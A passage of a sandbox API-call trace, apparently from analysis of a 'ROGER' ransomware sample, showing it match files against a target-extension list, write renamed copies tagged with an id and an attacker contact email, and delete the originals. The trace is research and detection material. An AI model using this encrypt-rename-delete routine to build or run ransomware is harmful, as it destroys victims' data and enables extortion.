[0063.665] lstrlenW (lpString=".1cd") returned 4 [0063.665] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0063.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0063.665] lstrlenW (lpString=".jpg") returned 4 [0063.665] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0063.665] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0063.666] lstrlenW (lpString="PRJRES.DLL") returned 10 [0063.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 17 os_tid = 0xaa0 [0036.993] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3322fd0 [0036.993] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3332fd8 [0036.994] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x32955b8 [0036.994] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x32a22d0 [0036.994] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x32955d0 [0036.994] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x4b80020 [0036.994] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x32955e8 [0036.994] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32955e8, Size=0x20) returned 0x806a18 [0036.994] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x32955e8 [0036.994] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32955e8, Size=0x20) returned 0x8069c8 [0036.994] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0036.995] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0036.995] Wow64DisableWow64FsRedirection (in: OldValue=0x40fff58 | out: OldValue=0x40fff58*=0x0) returned 1 [0036.995] lstrlenW (lpString="kernel32.dll") returned 12 [0036.995] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806a18 | out: hHeap=0x790000) returned 1 [0036.995] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.995] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8069c8 | out: hHeap=0x790000) returned 1 [0036.995] Sleep (dwMilliseconds=0x64) [0037.209] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0037.209] lstrlenW (lpString="PowerPointMUI.xml") returned 17 [0037.209] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0037.210] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=1450) returned 1 [0037.210] CloseHandle (hObject=0x34c) returned 1 [0037.210] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0037.210] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0037.210] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0037.210] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0037.210] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0037.210] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0038.009] GetLastError () returned 0x0 [0038.012] ReadFile (in: hFile=0x34c, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x5aa, lpOverlapped=0x0) returned 1 [0038.028] WriteFile (in: hFile=0x37c, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0038.028] ReadFile (in: hFile=0x34c, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0038.029] WriteFile (in: hFile=0x37c, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xf6, lpOverlapped=0x0) returned 1 [0038.029] SetEndOfFile (hFile=0x37c) returned 1 [0038.029] CloseHandle (hObject=0x37c) returned 1 [0038.029] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.029] SetEndOfFile (hFile=0x34c) returned 1 [0038.030] CloseHandle (hObject=0x34c) returned 1 [0038.030] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0038.030] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1 [0038.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0038.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0038.031] lstrlenW (lpString=".doc") returned 4 [0038.031] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.031] lstrlenW (lpString=".docx") returned 5 [0038.031] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.031] lstrlenW (lpString=".pdf") returned 4 [0038.031] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.031] lstrlenW (lpString=".xls") returned 4 [0038.031] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.031] lstrlenW (lpString=".xlsx") returned 5 [0038.031] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.031] lstrlenW (lpString=".ppt") returned 4 [0038.031] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0038.031] lstrlenW (lpString=".zip") returned 4 [0038.031] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.031] lstrlenW (lpString=".rar") returned 4 [0038.031] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.031] lstrlenW (lpString=".bz2") returned 4 [0038.031] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.031] lstrlenW (lpString=".7z") returned 3 [0038.031] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0038.031] lstrlenW (lpString=".dbf") returned 4 [0038.031] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0038.031] lstrlenW (lpString=".1cd") returned 4 [0038.031] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0038.031] lstrlenW (lpString=".jpg") returned 4 [0038.031] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.032] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0038.032] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0038.032] lstrlenW (lpString=".doc") returned 4 [0038.032] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.032] lstrlenW (lpString=".docx") returned 5 [0038.032] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.032] lstrlenW (lpString=".pdf") returned 4 [0038.032] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.032] lstrlenW (lpString=".xls") returned 4 [0038.032] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.032] lstrlenW (lpString=".xlsx") returned 5 [0038.032] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.032] lstrlenW (lpString=".ppt") returned 4 [0038.032] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.032] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0038.032] lstrlenW (lpString=".zip") returned 4 [0038.032] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.032] lstrlenW (lpString=".rar") returned 4 [0038.032] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.032] lstrlenW (lpString=".bz2") returned 4 [0038.032] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.032] lstrlenW (lpString=".7z") returned 3 [0038.032] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.032] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0038.032] lstrlenW (lpString=".dbf") returned 4 [0038.032] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.032] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0038.032] lstrlenW (lpString=".1cd") returned 4 [0038.032] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.032] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0038.032] lstrlenW (lpString=".jpg") returned 4 [0038.032] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.033] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0038.033] lstrlenW (lpString="Proof.xml") returned 9 [0038.033] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0038.036] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=1347) returned 1 [0038.036] CloseHandle (hObject=0x37c) returned 1 [0038.036] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020 [0038.036] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0038.036] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0038.036] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.036] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.036] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0038.057] GetLastError () returned 0x0 [0038.057] ReadFile (in: hFile=0x37c, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x543, lpOverlapped=0x0) returned 1 [0038.060] WriteFile (in: hFile=0x384, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x550, lpOverlapped=0x0) returned 1 [0038.062] ReadFile (in: hFile=0x37c, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0038.062] WriteFile (in: hFile=0x384, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.062] SetEndOfFile (hFile=0x384) returned 1 [0038.062] CloseHandle (hObject=0x384) returned 1 [0038.064] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.064] SetEndOfFile (hFile=0x37c) returned 1 [0038.065] CloseHandle (hObject=0x37c) returned 1 [0038.065] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0038.065] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 1 [0038.065] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0038.065] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0038.065] lstrlenW (lpString=".doc") returned 4 [0038.065] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.066] lstrlenW (lpString=".docx") returned 5 [0038.066] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0038.066] lstrlenW (lpString=".pdf") returned 4 [0038.066] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.066] lstrlenW (lpString=".xls") returned 4 [0038.066] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.066] lstrlenW (lpString=".xlsx") returned 5 [0038.066] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0038.066] lstrlenW (lpString=".ppt") returned 4 [0038.066] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.066] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0038.066] lstrlenW (lpString=".zip") returned 4 [0038.066] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.066] lstrlenW (lpString=".rar") returned 4 [0038.066] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.066] lstrlenW (lpString=".bz2") returned 4 [0038.066] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.066] lstrlenW (lpString=".7z") returned 3 [0038.066] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.066] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0038.066] lstrlenW (lpString=".dbf") returned 4 [0038.066] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.066] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0038.066] lstrlenW (lpString=".1cd") returned 4 [0038.066] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.066] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0038.066] lstrlenW (lpString=".jpg") returned 4 [0038.066] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.066] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0038.066] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0038.066] lstrlenW (lpString=".doc") returned 4 [0038.066] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.066] lstrlenW (lpString=".docx") returned 5 [0038.066] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0038.067] lstrlenW (lpString=".pdf") returned 4 [0038.067] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.067] lstrlenW (lpString=".xls") returned 4 [0038.067] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.067] lstrlenW (lpString=".xlsx") returned 5 [0038.067] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0038.067] lstrlenW (lpString=".ppt") returned 4 [0038.067] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.067] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0038.067] lstrlenW (lpString=".zip") returned 4 [0038.067] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.067] lstrlenW (lpString=".rar") returned 4 [0038.067] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.067] lstrlenW (lpString=".bz2") returned 4 [0038.067] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.067] lstrlenW (lpString=".7z") returned 3 [0038.067] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.067] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0038.067] lstrlenW (lpString=".dbf") returned 4 [0038.067] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.067] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0038.067] lstrlenW (lpString=".1cd") returned 4 [0038.067] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.067] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0038.067] lstrlenW (lpString=".jpg") returned 4 [0038.067] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.067] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0038.067] lstrlenW (lpString="Proof.xml") returned 9 [0038.067] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0038.068] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=1457) returned 1 [0038.068] CloseHandle (hObject=0x37c) returned 1 [0038.367] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020 [0038.431] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0038.432] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0038.432] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.432] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.432] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0038.432] GetLastError () returned 0x0 [0038.432] ReadFile (in: hFile=0x358, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x5b1, lpOverlapped=0x0) returned 1 [0038.484] WriteFile (in: hFile=0x330, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0038.794] ReadFile (in: hFile=0x358, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0038.794] WriteFile (in: hFile=0x330, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.794] SetEndOfFile (hFile=0x330) returned 1 [0038.794] CloseHandle (hObject=0x330) returned 1 [0038.795] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.795] SetEndOfFile (hFile=0x358) returned 1 [0038.795] CloseHandle (hObject=0x358) returned 1 [0038.795] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0038.796] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 1 [0038.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0038.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0038.796] lstrlenW (lpString=".doc") returned 4 [0038.796] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.796] lstrlenW (lpString=".docx") returned 5 [0038.796] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0038.796] lstrlenW (lpString=".pdf") returned 4 [0038.796] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.796] lstrlenW (lpString=".xls") returned 4 [0038.796] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.796] lstrlenW (lpString=".xlsx") returned 5 [0038.796] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0038.796] lstrlenW (lpString=".ppt") returned 4 [0038.796] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0038.796] lstrlenW (lpString=".zip") returned 4 [0038.796] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.796] lstrlenW (lpString=".rar") returned 4 [0038.796] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.796] 